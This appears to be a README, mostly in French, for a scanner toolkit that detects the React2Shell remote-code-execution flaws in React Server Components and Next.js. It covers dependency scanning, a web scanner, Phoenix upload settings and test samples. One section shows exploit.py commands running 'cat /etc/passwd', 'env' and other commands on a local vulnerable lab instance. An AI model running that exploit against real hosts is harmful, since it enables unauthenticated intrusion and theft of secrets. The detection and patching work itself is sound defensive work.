Scanner pour CVE-2025-55182 (React) et CVE-2025-66478 (Next.js) - Suivre et corriger une campagne de vulnérabilité critique des React Server Components (RSC) / protocole Flight affectant react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack, et les frameworks compatibles RSC comme Next.js.
Vulnérabilité EXTERNE pour la classe de bugs React2Shell : deux vulnérabilités d'exécution de code à distance non authentifiées récemment divulguées dans le protocole "Flight" des React Server Components (RSC) — CVE-2025-55182 (React) et CVE-2025-66478 (Next.js), toutes deux notées CVSS 10.0. Ces problèmes résident dans la manière dont les points de terminaison RSC/Server Function décodent les charges utiles Flight contrôlées par l'attaquant, transformant une seule requête HTTP malveillante en une exécution de code côté serveur potentielle — même sur des piles modernes React/Next.js "par défaut" utilisant App Router et des builds de production. Pour de nombreuses équipes, c'est un moment de "corriger maintenant, vérifier l'exposition, puis auditer", pas quelque chose à reporter à un sprint ultérieur d'hygiène des dépendances. Le dossier LAB contient des exploits et des vulnérabilités de laboratoire pour React2Shell.
Ce projet fournit une approche à deux volets : (1) un scan de composition logicielle / risque de dépendance (cet outil), pour localiser rapidement les bibliothèques et versions vulnérables, et (2) un scanner web DAST (React2Shell Web Scanner) qui sonde activement les points de terminaison RSC/Flight depuis l'extérieur, validant si des chemins exploitables sont accessibles dans les environnements en cours d'exécution. Ensemble, ils vous aident à répondre à la fois "où sont les composants vulnérables ?" et "où peuvent-ils être réellement exploités en production ?", afin que vous puissiez prioriser le patching, le durcissement et la réponse aux incidents en toute confiance.
Pour les tests de points de terminaison en direct et la validation RCE, consultez le scanner web dédié :
📁 web-scan_CVE-2025-66478/ - Documentation complète et guide
cd web-scan_CVE-2025-66478
# Install dependencies
pip install -r requirements.txt
# Scan a single target
python3 react2shell-scanner -u https://target.com -v
# Scan with evidence display
python3 react2shell-scanner -u https://target.com --show-evidence
# Batch scan with all export formats
python3 react2shell-scanner -l targets.txt -o results.json --csv results.csv --html report.html
# Test the exploit on vulnerable target (requires Python 3.11+)
python3.11 test-lab/exploit.py -u http://vulnerable-host:3000 -c "hostname"
| Fonctionnalité | Description |
|---|---|
| 🔍 Détection RCE | Détection sécurisée basée sur l'arithmétique (sans effets de bord) |
| 🎯 Empreinte technologique | Détection automatique des applications Next.js/React |
| 📊 Export multi-format | Rapports JSON, CSV, HTML |
| 🔗 Corrélation IOC | Correspondance avec plus de 31 IP malveillantes connues |
| 🌐 Scan à grande échelle | Plages CIDR, énumération de sous-domaines |
| ☁️ Intégration Phoenix | Téléversement des résultats vers Phoenix Security |
| 💻 Outil d'exploitation | Exécution de commandes sur des cibles vulnérables |
cd web-scan_CVE-2025-66478/test-lab/lab
# Start vulnerable (3011) and patched (3012) instances
docker-compose up -d
# Test vulnerable instance
python3 react2shell-scanner -u http://localhost:3011 --show-evidence
cd web-scan_CVE-2025-66478/test-lab
# Install exploit dependencies
pip3.11 install -r requirements.txt
# Basic command execution
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Output: nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# Output: uid=1001(nextjs) gid=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# Output: 99e28775bf80 (container ID)
# System enumeration
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env"
# Application recon
python3.11 exploit.py -u http://localhost:3011 -c "pwd" # /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
React2Shell est une primitive d'exécution de code à distance non authentifiée contre le traitement des charges utiles (payloads) React Server Components (RSC) dans le protocole Flight. En pratique, cela signifie qu'un client malveillant peut envoyer une seule requête HTTP malveillante à un point de terminaison RSC/Server Function et, si une version vulnérable est en jeu, potentiellement transformer une « application web » en « shell serveur ».
À un haut niveau :
Comme il s'agit d'une RCE non authentifiée, les configurations de production par défaut sont concernées, même si vous n'avez jamais explicitement écrit de « server function » et avez simplement adopté les patterns modernes React/Next.js. Les mitigations au niveau de l'hébergement et les WAF génériques ne doivent pas être considérés comme votre filet de sécurité principal : ils peuvent réduire l'exposition mais ne compenseront pas de manière fiable les bibliothèques vulnérables. Traitez cela comme un incident :
Une fois qu'un attaquant obtient une RCE via React2Shell, les défenseurs doivent supposer une chaîne de destruction familière :
.env, secrets de déploiement, jetons CI, identifiants de service et clés de signature.Si votre pipeline DevSecOps a historiquement traité la couche web comme « juste un frontend », cette vulnérabilité est une démonstration concrète que les frameworks frontend peuvent avoir un rayon d'explosion côté serveur profond lorsque les sémantiques RSC et de streaming sont impliquées. Universal Vulnerability Scanner existe pour vous aider à répondre rapidement à la question « exécutons-nous les packages vulnérables quelque part ? » et à alimenter cette réponse dans des campagnes pilotées par Phoenix et, bientôt, une validation DAST web complémentaire des points de terminaison RSC en direct.
# Install dependencies
pip install -r requirements.txt
# Run from project root
python -m universal_vulnerability_scanner.main --help
# Basic scan
python -m universal_vulnerability_scanner.main scan /path/to/project
# With JSON output
python -m universal_vulnerability_scanner.main scan /path/to/project --json --output results.json
# Quiet mode (only show summary)
python -m universal_vulnerability_scanner.main scan /path/to/project --quiet
# Create Phoenix configuration template
python -m universal_vulnerability_scanner.main create-config
# Edit .phoenix.config with your credentials
# Then scan and upload
python -m universal_vulnerability_scanner.main scan /path/to/project --upload-phoenix
# Test with included vulnerable samples
python -m universal_vulnerability_scanner.main test
Le scanner utilise une base de données de vulnérabilités au format JSON située dans :
universal_vulnerability_scanner/data/vulnerability_database.json
{
"metadata": {
"version": "1.0.0",
"last_update": "2025-12-04",
"ecosystems": ["npm"]
},
"vulnerabilities": {
"npm": {
"package-name": {
"exact_versions": ["1.0.0", "1.0.1"],
"vulnerable_ranges": [
{"min": "1.0.0", "max": "1.0.2", "severity": "CRITICAL"}
],
"safe_versions": ["1.0.2+"],
"cve_ids": ["CVE-2025-XXXX"],
"description": "Vulnerability description",
"references": ["https://..."]
}
}
}
}
Créez .phoenix.config :
[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.securityphoenix.cloud
assessment_name = Universal Vulnerability Scanner - RSC Detection
import_type = new
Ou utilisez des variables d'environnement :
export PHOENIX_CLIENT_ID="your_client_id"
export PHOENIX_CLIENT_SECRET="your_client_secret"
export PHOENIX_API_URL="https://api.securityphoenix.cloud"
================================================================================
UNIVERSAL VULNERABILITY SCANNER REPORT
================================================================================
Scan completed: 2025-12-04 10:30:00
SUMMARY:
----------------------------------------
Total findings: 12
VULNERABLE: 3
SAFE: 2
CLEAN: 5
REVIEW: 2
🚨 VULNERABLE PACKAGES DETECTED
================================================================================
1. [email protected]
File: /path/to/project/package.json
Reason: Exact match with known vulnerable version 19.0.0
✅ Safe version: 18.99.99
CVE: CVE-2025-RSC-001
[
{
"path": "/path/to/project/package.json",
"kind": "package.json",
"package": "react-server-dom-webpack",
"version": "19.0.0",
"verdict": "VULNERABLE",
"reason": "Exact match with known vulnerable version 19.0.0",
"severity": "CRITICAL",
"vulnerable_versions": ["19.0.0", "19.1.0", "19.1.1", "19.2.0"],
"safe_version": "18.99.99",
"cve_ids": ["CVE-2025-RSC-001"],
"timestamp": "2025-12-04T10:30:00"
}
]
Le scanner inclut des échantillons de test complets dans test_samples/ :
| Cas de test | Description | Résultats attendus |
|---|---|---|
rsc_vulnerable_exact/ | Versions vulnérables exactes | 4 VULNERABLE |
rsc_vulnerable_range/ | Plages de versions | 4 VULNERABLE |
rsc_safe_versions/ | Versions corrigées sûres | 6 SAFE |
rsc_mixed/ | Mélange vulnérable/sûr/propre | 2 VULNERABLE, 1 SAFE, 4 CLEAN |
rsc_with_lockfile/ | Analyse du fichier de verrouillage | 2 VULNERABLE, 1 CLEAN |
Exécuter les tests :
python -m universal_vulnerability_scanner.main test
universal_vulnerability_scanner/
├── core/
│ └── version_parser.py # Semver parsing & comparison
├── models/
│ ├── finding.py # Finding data model
│ └── vulnerability.py # Vulnerability database model
├── scanners/
│ ├── base_scanner.py # Abstract scanner interface
│ └── npm_scanner.py # NPM ecosystem scanner
├── integrations/
│ └── phoenix_uploader.py # Phoenix API client
├── data/
│ └── vulnerability_database.json # Vulnerability definitions
├── test_samples/ # Test cases
└── main.py # CLI entry point
scanners/ héritant de BaseScannerExemple :
from .base_scanner import BaseScanner
class PyPIScanner(BaseScanner):
def _get_ecosystem(self) -> str:
return "pypi"
def scan_path(self, root: Path) -> List[Finding]:
# Implement PyPI scanning logic
pass
Modifier data/vulnerability_database.json :
{
"npm": {
"new-vulnerable-package": {
"exact_versions": ["1.0.0"],
"vulnerable_ranges": [{"min": "1.0.0", "max": "1.0.5", "severity": "HIGH"}],
"safe_versions": ["1.0.5+"],
"cve_ids": ["CVE-2025-XXXX"],
"description": "Vulnerability description"
}
}
}
0 - Scan réussi, aucune vulnérabilité trouvée1 - Scan réussi, vulnérabilités trouvées2 - Scan échoué (entrée invalide, erreur de base de données, etc.)Téléverse automatiquement les résultats vers Phoenix avec :
# Example GitHub Actions
- name: Vulnerability Scan
run: |
python -m universal_vulnerability_scanner.main scan . --json --output scan-results.json
- name: Upload to Phoenix
if: always()
run: |
python -m universal_vulnerability_scanner.main scan . --upload-phoenix
react/rsc_exposure_scanner.pyenhanced_npm_compromise_detector_phoenix.pyFait partie de la boîte à outils de sécurité Shai Halud.
🔍 Restez sécurisés ! Signalez les vulnérabilités de manière responsable.